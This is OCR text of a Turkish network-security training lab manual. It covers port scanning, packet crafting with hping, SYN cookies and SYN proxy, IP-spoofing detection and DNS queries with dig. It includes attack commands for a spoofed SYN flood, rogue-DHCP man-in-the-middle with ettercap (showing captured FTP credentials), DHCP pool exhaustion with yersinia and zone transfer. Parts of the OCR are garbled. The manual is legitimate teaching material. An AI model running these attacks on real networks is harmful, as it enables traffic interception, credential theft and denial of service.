L2 seviyesinde(ARP, RARP) paketler lretilemez. Piyasada bulunan benzeri tirlinlerin
hepsinde buna benzer c¢esitli kisitlamalar vardir. Scapy tiim bu araglarda bulunan,
bulunmayan 6zellikleri esnek bir sekilde sunar. Scapy i¢cin oyun hamuru diyebiliriz, Scapy
ile TCP/IP aglarda birsey yapmak icin sadece ne istediginizi bilmeniz ve bunu Scapy’nin
anlayacagi sekilde yazmaniz yeterli olacaktir.
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Uygulama No: BGA-UAG-26

UDP Protokoli Kullanarak Port Tarama Cesitleri

Amacg: Nmap, scapy gibi araclarin detaylari ve tarama yontemleri
1.Adim: Nmap kullanarak UDP Ping taramasi

Not: UDP ping genelde hedef sistemin ayakta olup olmadigini tespit etmede basarih
degildir. Tercih edilmez.

root@bt:~# nmap -PU bga.com.tr

Starting Nmap 6.01 ( http://nmap.org)at 2013-07-21 11:59 EEST
Nmap scan report for bga.com.tr (50.22.202.162)

Hostis up (0.15s latency).

Notshown: 994 closed ports

PORT STATESERVICE

22 /tcp filtered ssh

25/tcp filtered smtp

53/tcp open domain

80/tcp open http

1720 /tcp filtered H.323/Q.931

3306/tcp filtered mysql

Nmap done: 1 IP address (1 hostup) scanned in 10.42 seconds

root@bt:~# nmap -PU google.com

Starting Nmap 6.01 ( http://nmap.org)at 2013-07-21 12:18 EEST
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 2.07 seconds

root@bt:~# nmap -PU haberturk.com

Starting Nmap 6.01 ( http://nmap.org)at 2013-07-21 12:19 EEST
Nmap scan report for haberturk.com (92.45.106.101)

Hostis up (0.045s latency).

Other addresses for haberturk.com (not scanned): 92.45.106.102
Notshown: 995 closed ports

PORT STATESERVICE

22 /tcp filtered ssh

25/tcp filtered smtp

80/tcp open http

443 /tcp open https

1720 /tcp filtered H.323/Q.931
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Nmap done: 1 IP address (1 hostup) scanned in 3.69 seconds

2.Adim: Nmap kullanarak 8.8.8.8 ip adresinin udp 53 portunun taranmasi

root@bt:~# nmap -sU 8.8.8.8 -p 53

Starting Nmap 6.01 ( http://nmap.org)at 2013-07-21 12:31 EEST
Nmap scan report for google-public-dns-a.google.com (8.8.8.8)
Hostis up (0.071s latency).

PORT STATE SERVICE

53/udp openlfiltered domain
Nmap done: 1 IP address (1 host up) scanned in 0.85 seconds
root@bt:~# nmap -sU 8.8.8.8 -p 53 -sV

Starting Nmap 6.01 ( http://nmap.org)at 2013-07-21 12:31 EEST
Nmap scan reportfor google (8.8.8.8)

Hostis up (0.048s latency).

PORT STATE SERVICE VERSION

53/udp open domain NetWare dnsd

Service  detection performed. Please report any incorrect results at
http://nmap.org/submit/ .
Nmap done: 1 IP address (1 hostup) scanned in 0.74 seconds

Once portdurumunun agik mu filtered mi oldugundan emin olamadig1 icin openl|filtered
dondi. Emin olmak i¢in -sV parametresiyle tekrar tarama gercgeklestirdik. Portun agik
oldugu gorildi.
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Uygulama No: BGA-UAG-27

istege Gére TCP Bayrakli Paket Uretimi

Amagc: Hping araci kullanilarak istege gore TCP paketleri iiretilecek ve hedef sistemdeki
trafik analizi sonucu paketlerin durumlari incelenecektir

1.Adim: Hping ile TCP SYN bayrakh paket iiretimi ve hedef sistemdeki trafigin
incelenmesi.

root@bt:~# hping3 -S 192.168.2.3 -c 2 -p 80

HPING 192.168.2.3 (eth0 192.168.2.3): S set, 40 headers + 0 data bytes
len=46 ip=192.168.2.3 ttl=64 DF id=0 sport=80 flags=RA seq=0 win=0 rtt=2.1 ms
len=46ip=192.168.2.3 ttl=64 DF id=0 sport=80 flags=RA seq=1 win=0 rtt=0.6 ms

--- 192.168.2.3 hping statistic ---
2 packets tramitted, 2 packets received, 0% packet loss
round-trip min/avg/max =0.6/1.3/2.1 ms

Gonderilen iki adet SYN bayrakli TCP paketlerinin hedef sistemde incelenmesi sonucu,
hedef sistemin 80 portu kapali oldugundan RA(Reset+ACK) cevabi donmektedir.

root@Kkallavi:~# tcpdump -i eth1 port 80 -tttnn

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes
00:00:00.000000 IP 192.168.2.2.1169 > 192.168.2.3.80: Flags [S], seq 502879630, win
512,length 0

00:00:00.000021 1P 192.168.2.3.80 > 192.168.2.2.1169: Flags [R.],seq 0, ack 50287963 1,
win 0, length 0

00:00:01.001355 1P 192.168.2.2.1170 > 192.168.2.3.80: Flags [S], seq 1706447601, win
512,length 0

00:00:00.0000431P 192.168.2.3.80 > 192.168.2.2.1170: Flags [R.], seq 0,ack 1706447602,
win 0, length 0

2.Adim: Hping ile TCP SYN+ACK bayrakh paket tretimi ve hedef sistemdeki trafigin
incelenmesi.
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root@bt:~# hping3 -S 192.168.2.3 -c2 -p 80

HPING 192.168.2.3 (eth0 192.168.2.3): S set, 40 headers + 0 data bytes
len=46ip=192.168.2.3 ttI=64 DF id=0 sport=80 flags=SA seq=0 win=14600 rtt=1.3 ms
len=46ip=192.168.2.3 ttl=64 DF id=0 sport=80 flags=SA seq=1 win=14600 rtt=1.0 ms

--- 192.168.2.3 hping statistic ---
2 packets tramitted, 2 packets received, 0% packet loss
round-trip min/avg/max =1.0/1.1/1.3 ms

Gonderilen iki adet SYN bayrakl TCP paketlerinin hedef sistemdeki incelenmesi sonucu
hedef sistemin 80 portu ac¢ik oldugundan SA(SYN+ACK) cevabi dénmektedir.

root@Kkallavi:~# tcpdump -i eth1 port 80 -tttnn

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes
00:00:00.000000 IP 192.168.2.2.1609 > 192.168.2.3.80: Flags [S], seq 415670805, win
512,length 0

00:00:00.000020 IP 192.168.2.3.80 > 192.168.2.2.1609: Flags [S.], seq 2647883866, ack
415670806, win 14600, options [mss 1460], length 0

00:00:00.000477 1P 192.168.2.2.1609 > 192.168.2.3.80: Flags [R], seq 415670806, win 0,
length 0

00:00:01.000020 IP 192.168.2.2.1610 > 192.168.2.3.80: Flags [S], seq 1247996405, win
512,length 0

00:00:00.000038 1P 192.168.2.3.80 > 192.168.2.2.1610: Flags [S.], seq 2413376778, ack
1247996406, win 14600, options [mss 1460], length 0

00:00:00.000507 1P 192.168.2.2.1610 > 192.168.2.3.80: Flags [R], seq 1247996406, win 0,
length 0

~C

6 packets captured

6 packets received by filter

0 packets dropped by kernel
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Uygulama No: BGA-UAG-28

TCP ve UDP Arasindaki Temel Farkin Gosterimi

Amag: Netcat kullanarak TCP ve UDP arasindaki temel farkin gosterilmesi

1.Adim: Netcat araci kullanilarak TCP baglantis1 olacak sekilde iki sistem arasinda bir
mesaj gonderilmesi

Server:192.168.2.2
root@bt:~# nc -1-p 5555

Client: 192.168.2.4
root@kallavi:~# nc 192.168.2.2 5555

Client baglanti sagladiktan sonra “bga.com.tr” mesaji gonderilir. Server tarafinda bu
mesajin aynisi gozlemlenir.

Netcat TCP trafigi asagidaki gibidir.

root@bt:~# tcpdump -i ethO port 5555 -tttnn

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on ethO, link-type EN10MB (Ethernet), capture size 65535 bytes
00:00:00.000000 IP 192.168.2.4.40242 > 192.168.2.2.5555: Flags [S], seq 3227442086,
win 14600, options [mss 1460,sackOK,TS val 401053 ecr O,nop,wscale 7], length 0
00:00:00.000028 IP 192.168.2.2.5555 > 192.168.2.4.40242: Flags [S.], seq 2645193948,
ack 3227442087, win 14480, options [mss 1460,sackOK,TS val 8794349 ecr
401053,nop,wscale 4], length 0

00:00:00.000413 IP 192.168.2.4.40242 > 192.168.2.2.5555: Flags [.], ack 1, win 115,
options [nop,nop,TS val 401053 ecr 8794349],length 0

00:00:18.225313 IP 192.168.2.4.40242 > 192.168.2.2.5555: Flags [P.], seq 1:12, ack
1, win 115, options [nop,nop, TS val 405610 ecr 8794349], length 11
00:00:00.000023 IP 192.168.2.2.5555 > 192.168.2.4.40242: Flags [.], ack 12, win 905,
options [nop,nop,TS val 8798905 ecr 405610],length 0

2.Adim: Netcat araci kullanilarak UDP baglantisi olacak sekilde iki sistem arasinda bir
mesaj gonderilmesi

Server: 192.168.2.2
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root@bt:~# nc -1-u -p 5555
Client: 192.168.2.4
root@kallavi:~# nc -u 192.168.2.2 5555

Client baglanti sagladiktan sonra “bga.com.tr” mesaji gonderilir. Server tarafinda bu
mesajin aynisi gozlemlenir.

Netcat UDP trafigi asagidaki gibidir.

root@bt:~# tcpdump -i ethO port 5555 -tttnn

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ethO0, link-type EN10MB (Ethernet), capture size 65535 bytes
00:00:00.000000 IP 192.168.2.4.56820 > 192.168.2.2.5555: UDP, length 11

Iki durum arasinda gériildiigii gibi TCP baglantis1 oldugunda (P) bayrakli paket ile
gonderilen mesajin PUSH edildigine dair bir bilgilendirme ve mesaj uzunlugunun 11
karakter oldugu bilgisi goriilmekte. Bu durumda giivenli bir sekilde aktarildi seklinde
yorumlanir.

UDP baglantis1 lizerinden gonderilen mesajin trafigi incelendiginde sadece mesajin
uzunlugu ve nereden nereye gonderildigine dair bir bilgi mevcut, fakat génderilip
gonderilmedigine dair bir bilgilendirme mesaji yok. UDP kisminda mesajin ulasip
ulasmadig1 konusunda emin olamiyoruz.

Uygulama No: BGA-UAG-29

SYNCookie ve SYNProxy Kullanarak SYN flood saldirilarini Engelleme

Amag: SYNCookie ve SYNProxy Kullanarak SYN flood saldirilarini Engelleme
Syncookie Nasil ¢calisir?

Normal TCP baglantilarinda gelen SYN bayrakl pakete karsilik ACK paketi ve SYN paketi
gonderilir. Gonderilen ikinci(sunucunun gonderdigi) SYN paketinde ISN degeri random
olarak atanir ve son gelecek ACK paketindeki sira numarasimnin bizim génderdigimizden
bir fazla olmasi beklenir, son paket gelene kadar da sistemden bu baglanti i¢in bir kaynak
ayrilir(backlog queue). Eger bizim gonderdigimiz SYN paketine dénen ACK cevabi bizim
ISN+1 degilse paket kabul edilmez.

Syncookie aktif edilmis bir sistemde gelen SYN paketi icin sistemden bir kaynak ayrilmaz,
bunun aksine SYN paketine donecek cevaptaki ISN numarasi 0zel olarak hesaplanir
(kaynak.ip+kaynak.port+.hedef.ip+hedef.port+x degeri) ve hedefe gonderilir, hedef son
paket olan ACK’i gonderdiginde ISN hesaplama islemi tekrarlanir ve eger ISN numarasi
uygunsa baglanti kurulur, degilse baglanti kurulmaz. Boylece spoof edilmis binlerce ip
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adresinden gelen SYN paketleri icin sistemde bellek tiiketiimemis olacaktir ki bu da
sistemin SYNflood saldirilar1 esnasinda daha dayanikli olmasini saglar.

Syncookie mekanizmasi backlogqueue kullanmadig icin sistem kaynaklarini daha az
tiketir. Syncookie aktif iken hazirlanan 6zel ISN numarasi cookie olarak adlandirilir.
Istemci tarafi syncookie 6zelligi inverse syn cookie (Scanrand araci) araglari kullanilarak
syncookie engellemesi asilabilir. Bu durumda da bir ip adresinden gelecek max baglanti
sayisl limitlenerek saldir1 engellenmis olur.

Syncookie aktivasyonu

Linux sistemlerde syncookie 6zelliginin aktif hale getirilmesi i¢cin /etc/sysctl.conf
dosyasina net.ipv4.tcp_syncookies = 1 eklenmeli ve sysctl -p komutu ¢alistirilmal ya
da gecici olarak echo 1 > /proc/sys/net/ipv4/tcp_syncookies komutu
kullanilamahdir.

Windows icin ayni 6zelligi devreye alacak ¢esitli registry ayarlari mevcuttur.

Syn Proxy nasil calisir?

SynProxy, adindan da anlasilacagi iizere SYN paketlerine karsi proxylik yap maya yarayan
bir 6zelliktir. Giivenlik duvarlarinda ve Syncookie’'nin kullanimimin sikintihi oldugu
durumlarda rahatlikla kullanilabilir.

Syncookie gibi arkasinda korumaya aldig1 sistemlere gelecek tim SYN paketlerini karsilar
ve Ucli el sikisma tamamlandiktan sonra paketleri korudugu sistemlere yonlendirir.

Svn Proxy

I

_—

ACK(y+1)
ACK(y+1)

BGA Bilgi Giivenligi A.S. | www.bgasecurity.com | @BGASecurity



http://www.bgasecurity.com/
https://twitter.com/bgasecurity

[UYGULAMALI AG GUVENLIGI EGiTiMi LAB CALISMALARI]

Synproxy yapan sistem kendisi de SYNFlood'a dayanikli olmaliduir.

Asagidaki tabloda yer alan komut ¢iktisinda Synproxy korumasi aktif edilmis bir sisteme
yapilan port tarama islemi gorilmektedir. Aslinda sadece belirli portlar: acik olan bu
sistem, koruma onlemi olarak biitiin portlarim1 acik goéstermis, saldirgani yaniltarak
sadece gercek baglanti kuracak olan kullanicilar1 kabul etmistir.

root@kali:~/Desktop# nmap bga.com.tr

Starting Nmap 6.40 ( http://nmap.org ) at 2014-03-26 07:44 EDT
Nmap scan reportfor bga.com.tr (50.22.202.163)
Hostis up (0.17s latency).
rDNSrecord for 50.22.202.163: 50.22.202.163 -static.reverse.softlayer.com
PORT STATE SERVICE
1/tcp open tcpmux
3/tcp open compressnet
4/tcp open unknown
6/tcp open unknown
7/tcp open echo

9/tcp open discard
13/tcp open daytime
17/tcp open qotd

19/tcp filtered chargen
20/tcp open ftp-data
21/tcp open ftp

22 /tcp filtered ssh

23/tcp open telnet
24/tcp open priv-mail
25/tcp open smtp

26/tcp open rsftp

30/tcp open unknown
32/tcp open unknown
33/tcp open dsp

37/tcp open time

42 /tcp open nameserver
43/tcp open whois
49/tcp open tacacs
53/tcp open domain
70/tcp open gopher
79/tcp open finger
80/tcp open http

81/tcp open hosts2-ns

Komut ¢iktisndan da anlasilacagi lizere gelen baglanti istegini Synproxy karsilamis ve
tarama yapan kullaniciya biitiin portlarini agik olarak géstermistir. Boylece sisteme port

BGA Bilgi Giivenligi A.S. | www.bgasecurity.com | @BGASecurity



http://www.bgasecurity.com/
https://twitter.com/bgasecurity

[UYGULAMALI AG GUVENLIGI EGiTiMi LAB CALISMALARI]

taramasi yapan kisi sadece gercekten acik portlar1 degil biitiin portlar1 acik olarak
gormustur.

Ayni sekilde hedef sisteme yapilan saldirilarda Synproxy korumasi etkinlestirilerek ip
spoofing tarzi saldirilarin 6niline gecilebilir, sadece gercek baglanti kurmak isteyen
kullanicilara izin verilir.

Uygulama No: BGA-UAG-30

SYNProxy Kullanilan Sistemlere Yonelik Port Tarama

Amac¢: Nmap, Hping araglari kullanilarak SYNProxy Kullanilan Sistemlere Yonelik Port
Tarama

1.Adim: Syncookie/Synproxy gelen her SYN pakjetine karsiik SYN+ACK cevabi doner.
Taradig1 sistemden SYN+ACK cevabi geldigini goren tarama program port acik der ve
tekrar paket gondermez. Synproxy/syncookie ile korunan sistemlere karsi port tarama;

root@bt:~# hping3 --scan 80-100 www.bga.com.tr -S -V
using eth0, addr: 192.168.2.4, MTU: 1500
Scanning www.bga.com.tr (50.22.202.162), port80-100
21 ports to scan, use -V to see all the replies
S TSSRNUNEE RN VRV S SO S S
|port| servname | flags |[ttl] id | win | len |
PSSR MR MR U S SR S S —"
80www  :.S.A.. 46 61524 65535 46
83 :.RA.. 4661780 0 46
93 :.RA.. 46 62036 0 46
94 :.RA.. 46 62292 0 46
89 :.RA.. 46 62804 0 46
84 :.RA.. 46 63060 0 46
90 :.RA.. 46 63316 0 46
87 link :.RA.. 4663828 0 46
97 :.RA.. 46 64084 0 46
98 linuxconf :.R.A.. 4664596 0 46
81 :.RA.. 46 64340 O 46
82 :.RA.. 4664852 0 46
88 kerberos :.R.A.. 4665108 0 46
85 :.RA.. 46 85 0 46
86 :.RA.. 46 597 0 46
95 supdup :.RA.. 46 853 0 46
91 :.RA.. 46 1109 0 46
92 :.RA.. 46 1365 O 46
96 :.RA.. 46 1621 0 46
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99 :.RA.. 46 1877 0 46
100 :.RA.. 46 2133 0 46
All replies received. Done.
Notresponding ports:

Adim2: Nmap tarama uygulamasiile tarama.

root@bt:~# nmap www.google.com -p80-100 -reason -sV

Starting Nmap 6.01 ( http://nmap.org)at 2013-07-26 21:45 EEST

Failed to resolve given hostname/IP: -reason. Note that you can't use '/mask’ AND '1-
4,7,100-' style IP ranges. If the machine only has an [Pv6 address, add the Nmap -6 flag to
scan that.

Nmap scan report for www.google.com (173.194.39.211)

Hostis up (0.019s latency).

PORT STATESERVICE VERSION

80/tcp open http  Google httpd 2.0 (GFE)

81/tcp filtered hosts2-ns

82 /tcp filtered xfer

83/tcp filtered mit-ml-dev

84 /tcp filtered ctf

Bu sekilde korunmus sistemlere yonelik basarili TCP taramalari gerceklestirmek icin 3’li
el sikismay1 tamamlayan ve sonrasinda ek paketler gonderen tarama tipleri kullanilir.
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Uygulama No: BGA-UAG-31

TCP Protokoliinde IP Spoofing Kontrol

Amag: Wireshark kullanarak IP Spoofing Saldirilarini Tespit Etmek

Saldirganin hedef sisteme olan sizma girisimleri esnasinda kendi IP adresini gizleyip
farkl bir [P adresini lizerinden saldirtyormus gibi gostermesi olaymna IP Spoofing denir.
Buradaki uygulamamizda istemci makineden IP Spoofing yaparak paketler génderip
sunucu tarafindan bunu analiz etmeye ¢alisacagiz.

1. Adim:
Istemci makineden hedef makineye IP Spoofing yaparak paketler génderiliyor.

root@kali:~# hping3 --rand-source -S -p 80 5.5.5.82 --flood
HPING 5.5.5.82 (eth0 5.5.5.82): S set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown

2. Adim:
Sunucu tarafinda ise gelen giden trafigi analiz etmek i¢cin wireshark ile trafik incelenirse
asagidaki gibi bir durumla karsilasilacaktir.

AN b TWE-Flend [Wiesshark 115,10 {Fah Rev 51033 from frunk- 1LY
file [dit Yiew Go Capture Analyze Statetics Telephony Tools |nternals Help

& @ 4 | & EX2 s+ FRENE @ LEFA GHEE B
Filtér ||cp jE-pueumn Chear  Apply S
Time Eource Destination Protocs|  |Length | bnfo

B
b Etherret 11, Src: Apple Ac-29:bs [B4:38:¥h:4c:XT:bal, Dst: Wessre 31:88:F4 |BD:Bc:F2:30:83:44)

b Interret Protocol Version 4, Src: 5.5.5.82 (5.5.5.82), Dst: 64.15.117.26 (6415 117 .26}

b Transmissics Control Progocol, Src Part: 52245 (52245), Ost Port: https {443, Seq: 1, #dck: B6, Len- 0

L sihi]
L]
28328
(el

& ¥ [ Frame (frame], 54 bytes |Fackets: 2550 - Displayed: 2315 198, 5%} - Dr_.. f¥Frofile: Default
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Burada goriildiigii tizere spoof edilen IP adresleri izerinden siirekli bir SYN isteginde
bulunulmaktadir. SYN istegine cevap doniilmesini beklemeden arkaya arkaya bu
paketlerlerin geldigi goriinmektedir. Bu durumun IP Spoofing oldugu acikca
gorilmektedir.

DHCP ve Giivenlik Zafiyetleri

Uygulama No: BGA-UAG-32

Sahte DHCP Sunucu Kullanarak MITM Saldirisi

Amag: Ettercap aracikullanilarak yerel agda bulunan sahte bir DHCP sunucusu olusturup
MITM(Man in The Middle) ortadaki adam saldirisi uygulamak

Adim 1: BT isletim sisteminde Ettercape programini ¢alistirin.

root@bt:~# ettercap -G

ettercap 0.7.4.1 copyright 2001-2011 ALoR & NaGA

Gelen ekranda iist mentide bulunan Sniff>Unified Sniffing secenekleri secilir ve saldir
yapilacak ag arayliizii secilerek (eth0,eth1 ...) onaylanir.

Gelen ekranda Ust meniide bulunan MITM > DHCP Spoofing segilir.

- HaNE] %, ettercap 0.7.4.1
! start Targets Hosts Wiew g Eilters Logging Plugins Help

Arp poisoning...
lermnp redirect...
Port stealing...

& stop mitm attack(s)

e

]
28 plugins
40 protocol dissectors
55 parts monitered
7587 mac vendaor fingarprint
1766 tep 05 hngerprint
2183 known services
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Gelen sayfadaki bilgiler asagidaki gibi girilebilir.

% ettercap 0.7.4.1
Start Targets Hosts View Mitm Filters Logaging Plugins Help

O 1 1\ MITM Attack: DHCP Speafing

Saerver Infarmation
; IP Pool ([optional) |192-I$E-1ﬂﬂ-lﬂﬂ-2ﬂﬂl

Netmask |zs5.255.255.0

DNS Server P I].92.1I58.2.l|

- = ok | 3 cancel |

28 plugins
40 protocol diss
55 ports monitored
7587 mac vendaor fingarprint
1766 tep OS5 fingerprint
21E3 known services

Bu islemden sonra Yerel agda bulunan bir bilgisayar ip adresialmaya ¢alistifinda sahte
olusturdugmuz DHCP sunucusundan ip adresi alacak ve Gateway olarak ta bizim
belirledigimiz 192.168.2.1 ip adresini alacaktir. Bu durumda kurban bilgisayarin trafigi
saldirgan iizerinden gececeginden dolay: tiim ag trafigi dinlenebilecektir.

Asagidaki tabloda kurbana ait ftp bilgileri gosterilmistir.

Kullanici adr:

admin

Parola:

admin123!!

BGA Bilgi Giivenligi A.S. | www.bgasecurity.com | @BGASecurity



http://www.bgasecurity.com/
https://twitter.com/bgasecurity

[UYGULAMALI AG GUVENLIGI EGIiTiMi LAB CALISMALARI]

Uygulama No: BGA-UAG-33

DHCP Kaynak Tiketimi Amacli DoS Saldirisi

Amag: Yersina araci kullanilarak yerel agda DHCP servisine yonelik ip adresi havuzunun
doldurulmasi saldirisi

Adim1: Backtrack isletim sisteminde yersinia uygulamasinin arayiizii ile calistirmak icin
asagidaki komut ¢alhistirilir.

# yersinia -G

Asagidaki ekran yersinia uygulamasinin arayiizii. Bu araytizde kirmizi olarakisaretlenmis
sekilde saldirinin adimlar1 belirtilmistir. Bu saldir1 tipi DHCP servisine sahte ip adresi
istekleri gondermek ve sahte mac adresleriyle ip adresiistekleri gondermek.

% Yersinia 0,71

Ble Protocols Actiors  Options Help

o % i I . 2 4
Launch attack Edit interfaces Load defauk List attacks Clear stats Capiure Edit mode Exit

[rotocols [packets | cop (once| w0210 | soz.1x | oTe [ Heae | isL | ST [vTe | sersina log

o =P ano ) Chocse anack -
a 192,160 002.00% | S22 DHI:D|mz.1q|mz.u|n-m|n—mp||5L|m|w a7115
b k
a 192160 002, pog | ShOeEe attas 47118
a Diescription Das
. sending R packat '
(=} |sending DtS:E:l\"Ean-ckﬂ. =)
“ ) creating OHCH rogue senser ]
0 () sendirg RELEASE packet
ek
n L=l:
Frarld ['u'elm i : .
Hast
Source MAC I0:CH:0O0 ks Cancel oK
Source MAC oG hFF:FF Extra
Cestination MAC FEFFFFF
. \o3 168 P Iu.u.u.u DIF  [255.255.255,.255  SPort |68 DPart |67
i op (o1 Hype [0 HEN |8 He oo Md  [oooosees  Secs |m Flags |@000
=] 235255 [_ |_ |_ = l_ _
a [oo00 #  [o.0.0.0 s [e.oe0 R P
SPart ]
-
Dot 67 - -
e o1 000 PEFE FEFE TH0F 2005 d0BS 5651 0600 4500 ....... Vo E, =
=lowoo10: D148 0495 D000 BON1 7RS4 coa® 0203 FFEF LH......rd......
T | w020:  TFFf 0044 0043 0134 efbo 0101 0600 c7el ...0.C 4. 00000,
214708 Cwo030:  CS5a 0000 BO00 COGE C203 D000 0030 D000 .Z......e.aeo... =

DHCP servisi tarafindaki durum asagidaki gibi olacaktir.
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Rezerve Et IPAdresi  Istemci Adi MAC Tipi
192.168.23 mucahid 00:0c:29:67:a9:48 Dynamic
192.168.24 Secils-IPhone f0:d1:a9:8c:e4:53 Dynamic
192.168.29 mucahid 20:c9:d0:86:56:91 Dynamic
192.168.2.7 Zeynep e0:c9:7a:dc:4c:db Dynamic
192.168.22 unknown 88:32:9b:2d:a6:5a Dynamic
192.168.28 bt 00:0c:29:37:20:ea Dynamic

192.168.2.28 unknown a0:f1:4c:7a:ba:b9 Dynamic
192.168.2.23 unknown 32:55:41:66:85:2e Dynamic
192.168.2.33 unknown a7:f5:30:40:9d:99 Dynamic
192.168.2.37 unknown b7:3a:09:1f:24:e0 Dynamic
192.168.2.26 unknown 9b:7d:59:00:6b:52 Dynamic
192.168.2.27 unknown c1:c4:79:17:58:42 Dynamic
192.168.2.29 unknown b8:fa:d8:67:14:a3 Dynamic
192.168.2.30 unknown f5:c3:4a:37:22:26 Dynamic
192.168.2.17 unknown 59:3d:58:4b:68:eb Dynamic

O0000000000000000000a0n

192.168.2.32 unknown 3a:35:fe:38:27:d0 Dynamic
192.168.2.35 unknown 81:88:aa:3b:bf43 Dynamic
192.168.2.34 unknown 39:00:5b:46:9f9b Dynamic
192.168.2.38 unknown 61:af8f71:87:2b Dynamic
192.168.2.42 unknown afbb:e6:16:26:93 Dynamic
192.168.2.25 unknown b4:16:3f:15:bf.37 Dynamic

DNS ve Giivenlik Zafiyetleri

Uygulama No: BGA-UAG-34

DNS Sorgulamalariigin Dig Kullanimi

Amag: Dig, nslookup ve host gibi dns sorgulama araclarina gére daha giiclii 6zelliklere
sahip, bu 6zelliklerin kullanilmasi

Adim 1: Dig kullanarak domain hakkinda detayli inceleme

root@bt:~# dig www.lifeoverip.net

; <<>>DiG 9.7.0-P1 <<>> www.lifeoverip.net

;; global options: +cmd

;; Gotanswer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 46259

;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2

;; QUESTION SECTION:
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;www lifeoverip.net. IN A

;; ANSWER SECTION:
www.lifeoverip.net. 1800 IN A 178.18.195.170

;; AUTHORITY SECTION:

lifeoverip.net. 3600 IN NS ns77.domaincontrol.com.
lifeoverip.net. 3600 IN NS ns78.domaincontrol.com.
;; ADDITIONAL SECTION:

ns78.domaincontrol.com. 24811 IN A 208.109.255.49
ns77.domaincontrol.com. 24811 IN A 216.69.185.49

;; Query time: 658 msec

;; SERVER: 192.168.2.1#53(192.168.2.1)
;; WHEN: Sun Jul 28 22:20:56 2013

;; MSG SIZE rcvd: 139

Status:NOERROR
sorgulanan domain adinin var oldugunu ve bu domainden sorumlu dns sunucunun
sorgulara saglikl cevap verdigini gosterir.

Status:SERVFAIL
domainin oldugunu fakat domainden sorumlu DNS sunucunun sorgulara saghkli cevap
veremedigini gosterir. Yani sorun domainden sorumlu DNS sunucusundadir.

Status:NXDOMAIN

Domain ile ilgili ana DNS sunucularin bilgisinin olmadigin1 gosterir. Bu da ya o domain
yoktur ya da bazi sebeplerden dolay1 root dns sunuculara yaymmlanmamistir manasina
gelir.

Adim 2: DNS trace sorgulanan domaine ait tiim adimlar1 detayh bir sekilde gosterir.
Boylece sorunun hangi asamada hangi sunucudan kaynaklandigi bulunabilir.

bgalabs:~ 1$ dig +trace bga.com.tr

; <<>>DiG 9.8.3-P1 <<>> +trace bga.com.tr

;; global options: +cmd
10706 IN NS froot-servers.net.
10706 IN NS jroot-servers.net.
10706 IN NS croot-servers.net.
10706 IN NS aroot-servers.net.
10706 IN NS mroot-servers.net.
10706 IN NS h.root-servers.net.
10706 IN NS d.root-servers.net.
10706 IN NS iroot-servers.net.
10706 IN NS groot-servers.net.
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10706 IN NS lroot-servers.net.
10706 IN NS b.root-servers.net.
10706 IN NS erxoot-servers.net.

. 10706 IN NS Kkroot-servers.net.

;; Received 228 bytes from 8.8.8.8#53(8.8.8.8) in 736 ms

tr. 172800 IN NS nsZ.nic.tr.
tr. 172800 IN NS ns5.nic.tr.
tr. 172800 IN NS tr.cctld.authdns.ripe.net.
tr. 172800 IN NS ns4.nictr.
tr. 172800 IN NS ns3.nic.tr.
tr 172800 IN NS nslnictr.

;; Received 341 bytes from 192.33.4.12#53(192.33.4.12) in 371 ms

bga.com.tr. 43200 IN NS dns-eul.powerdns.net.
bga.com.tr. 43200 IN NS dns-eu2.powerdns.net.
;; Received 84 bytes from 193.140.100.200#53(193.140.100.200) in 129 ms

bga.com.tr. 86400 IN A 50.22.202.162
;; Received 44 bytes from 85.17.219.217#53(85.17.219.217) in 105 ms

Adim 3: DNS sunucu version bilgisi 6grenme

root@bt:~# dig @ns1.bga.com.tr txt chaos version.bind

; <<>>DiG 9.7.0-P1 <<>> @ns1.bga.com.tr txt chaos version.bind

; (1 server found)

;; global options: +cmd

;; Gotanswer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 61436

;; flags: qr aard; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0
;; WARNING: recursion requested but not available

;; QUESTION SECTION:

;version.bind. CH TXT
;» ANSWER SECTION:
version.bind. 0 CH TXT "BGAv8.9"

;; AUTHORITY SECTION:
version.bind. 0 CH NS version.bind.

;; Query time: 166 msec

;; SERVER: 50.22.202.162#53(50.22.202.162)
;; WHEN: Sun Jul 28 23:21:17 2013

;; MSG SIZE rcvd: 64
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Adim 4: Dig ile DNS zone transferi kontrolii

Zone transfer; birden fazla domain name server varsa diger name serverlarin zone
iceriklerini glincel tutabilmesi icin Primary DNS serverdan zonu ¢ekip kullanmalarini
saglayan bir 6zelliktir.Fakat genellikle burada distilen konfigrasyon hatasi; zone transfer
yapacak diger DNS serverlara ait IP adreslerinin source IP olarak verilmesi yerine, zone
transfer 6zelliginin tiim herkese(ANY) acilmasidir. Zone transfer ANY'e agik olan bir DNS
server lzerinde var olan bir zone ¢ekilerek, bir web sitesine ait tiim subdomain'ler elde
edilebilir ve buralardan saldir1 girisimleri gercgeklestirilebilir.

Oncelikle bir domain adresinin NS server'larin1 bulmak icin ilgili dig komutu asagidaki
gibidir:

root@bt:~# dig NS example.com

;; ANSWER SECTION:

example.com. 24301 IN NS dns0.inf.example.com.
example.com. 24301 IN NS cancer.ucs.example.com.
example.com. 24301 IN NS dns2.inf.example.com.
example.com. 24301 IN NS dnsl.inf.example.com.
example.com. 24301 IN NS  lewis.ucs.example.com.
example.com. 24301 IN NS xlab-0.example.com.

Buradaki NS server'lar1 tek tek denemek gerekebilir.Zone hangisi lizerindeyse ve
transferi ANY'e aciksa onu bulmalyiz.Tek tek denemek istemiyorsak buradaki NS
serverlarin listesini dnsenum perl scriptine dosya olarak verip ayni anda hepsinde zone
transfer kontrolii yapmasini da saglayabiliriz.

Linux sistem iizerinde dig ile zone transfer yapmak i¢in kullanilacak komut asagidaki
gibidir:

root@bt:~# dig @xlab-0.example.com example.com axfr | more

; <<>>DiG 9.7.0-P1 <<>> @xlab-0.example.com example.com axfr

; (1 server found)

;; global options: +cmd

